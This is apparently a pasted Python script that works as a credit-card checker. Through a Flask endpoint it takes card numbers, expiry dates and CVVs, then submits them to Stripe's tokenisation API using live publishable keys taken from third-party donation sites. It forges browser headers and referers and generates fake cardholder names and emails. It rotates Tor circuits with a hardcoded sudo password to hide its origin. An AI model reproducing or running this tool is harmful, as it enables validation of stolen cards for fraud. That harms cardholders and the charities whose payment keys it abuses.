· 5 years ago · May 01, 2020, 11:24 AM
1import os
2
3PASSWORD = "nep@li123"
4import requests
5import random
6
7names = "Abel Le Esmeralda Lin Graham Buckley Evangeline Floyd Alyson Stephens Jaxson Jones Amirah Brady Davin Melendez Leslie Skinner Immanuel Park Trinity Cherry Leroy Hall Maxim Richard Lorena Haley Joy Silva Kierra Alexander Jamie Burton Ellis Atkins Nina Mann Royce Holden Seamus Barker Nathalie Riddle Carina Miles Violet Orr Gael Chung Makhi Knight Malakai Bender Rubi Adkins Ahmed Shea Craig Mcbride Zachery Kent Royce Hull Darwin Patterson Valery Stanton Rihanna Frazier Madyson Mcbride Zane Richard Jazlyn Cooper Zaid Roy Paulina Simmons Melody Frazier Alina Pitts Harper Dillon Evelyn Copeland Ahmad Decker Willie Patel Jerome Browning Janiyah Mcclain Jovanny Liu Rafael Leon Lainey Sims Josh Murillo Francesca Morrison Delaney Clay Valerie Wilkerson Bradyn Kelly Mara Olsen Shayla Hubbard Simone Barton Christine Anthony Isai Ortiz Matias Howell Adrien Sawyer Kaeden Prince Pablo Le Tony Henson Naima Nichols Kayleigh Hendricks Tyrell Cummings Jose Mckenzie Miguel Caldwell Tommy Mendoza Nicole Burke Rodolfo Frazier Yesenia Manning Blaine Arias Kasey Lara Breanna Bolton Cheyanne Ponce Georgia Nunez Keyon Underwood Francis Church Lydia Stafford Devin Noble Greyson Ortega Malia Cameron Lennon Burgess Howard Franco William Novak Micheal Carson Angie West Ignacio Macdonald Nora Bruce Derrick Mitchell Joanna Alvarez Scarlett Mcknight Brian Fitzgerald Jagger Costa Quintin Ali Ross Lynch".split(
8 " ")
9
10emails = ["gmail.com", "outlook.com", "hotmail.com", "aos.com", "facebook.com", "yahoo.com", "live.ca"]
11
12
13def getData():
14 first_name = random.choice(names)
15 last_name = random.choice(names)
16 return {"name": first_name + " " + last_name,
17 "email": random.choice([first_name, last_name]) + str(random.randint(0, 10000)) + "@" + random.choice(
18 emails)}
19
20
21pks = ["SfS7t09pWTb9WCaZJgYwSXKW", "SRWmp6QmGNNIBAqiS7CyPFnI", "ubI1Dg0JIgQt7Z7GpSH7iAwz"]
22# pks = ["5r9R9d6qVRopOOwwwhqPoy99"]
23referers = ["https://lifespring1.churchcenter.com/giving",
24 "https://checkout.stripe.com/m/v3/index-7f66c3d8addf7af4ffc48af15300432a.html?distinct_id=41937119-7136-009c-2c59-9cf1cc40fac5",
25 "https://js.stripe.com/v2/channel.html?stripe_xdm_e=https%3A%2F%2Fwww.transparenthands.org&stripe_xdm_c=default947696&stripe_xdm_p=1"]
26
27url = "https://api.stripe.com/v1/tokens"
28headers = {
29 'authority': 'api.stripe.com',
30 'accept': 'application/json',
31 'origin': 'https://js.stripe.com',
32 'sec-fetch-dest': 'empty',
33 'accept-language': 'en-US',
34 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
35 'content-type': 'application/x-www-form-urlencoded',
36 'sec-fetch-site': 'same-site',
37 'sec-fetch-mode': 'cors',
38 'referer': random.choice(referers),
39 'Content-Type': 'application/x-www-form-urlencoded'
40}
41
42
43def checkCC(cc):
44 no, expmonth, expyear, cvv = cc.split("|")
45 data = getData()
46 payload = 'time_on_page=' + str(random.randint(1000,
47 36046)) + '&guid=NA&muid=7722ca33-80fa-4a4f-b536-e299959c17c7&sid=1aee385f-b4ea-4a6c-86d4-d84d907eb03a&key=pk_live_' + random.choice(
48 pks) + '&payment_user_agent=stripe.js/a44017d&card%5Bnumber%5D=' + no + '&card%5Bexp_month%5D=' + expmonth + '&card%5Bexp_year%5D=' + expyear + '&card%5Bcvc%5D=' + cvv + "&card%5Bname%5D=" + \
49 data["name"]
50 resp = {"error": False}
51 try:
52 command = "service tor reload"
53 os.popen("sudo -S %s" % command, 'w').write(PASSWORD)
54 session = requests.session()
55 session.proxies['http'] = 'socks5h://localhost:9050'
56 session.proxies['https'] = 'socks5h://localhost:9050'
57 response = session.post(url, headers=headers, data=payload)
58 data = response.json()
59 if "card" in data:
60 resp["ip"] = data["client_ip"]
61 resp["country"] = data["card"]["country"]
62 resp["funding"] = data["card"]["funding"]
63 resp["brand"] = data["card"]["brand"]
64 resp["card_status"] = data["card"]["cvc_check"]
65 if "error" in data:
66 resp["error_code"] = data["error"]["code"]
67 # resp["extra_data"] = data
68 except Exception as e:
69 print(str(e))
70 resp["error"] = True
71 resp["proxy_error"] = True
72 return resp
73
74
75from flask import Flask, jsonify
76
77app = Flask(__name__)
78
79
80@app.route("/checker/<cc>")
81def hello(cc):
82 return jsonify(checkCC(cc))
83
84
85if __name__ == "__main__":
86 app.run(host="0.0.0.0", port=2844)